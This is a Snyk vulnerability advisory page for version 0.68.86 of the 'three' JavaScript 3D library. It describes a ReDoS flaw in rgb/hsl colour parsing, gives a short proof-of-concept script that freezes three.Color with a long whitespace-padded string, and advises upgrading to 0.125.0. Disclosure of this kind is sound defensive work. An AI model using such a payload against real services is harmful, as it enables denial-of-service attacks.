three@0.68.86 vulnerabilities

JavaScript 3D library

  • latest version

    0.171.0

  • latest non vulnerable version

  • first published

    12 years ago

  • latest version published

    14 days ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the three package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Regular Expression Denial of Service (ReDoS)

    three is a JavaScript 3D library

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). This can happen when handling rgb or hsl colors.

    PoC:

    var three = require('three')
    
    function build_blank (n) {
     var ret = "rgb("
     for (var i = 0; i < n; i++) {
      ret += " "
     }
    
     return ret + "";
    }
    
    var Color = three.Color
    
    var time = Date.now();
    new Color(build_blank(50000))
    var time_cost = Date.now() - time;
    console.log(time_cost+" ms")
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade three to version 0.125.0 or higher.

    <0.125.0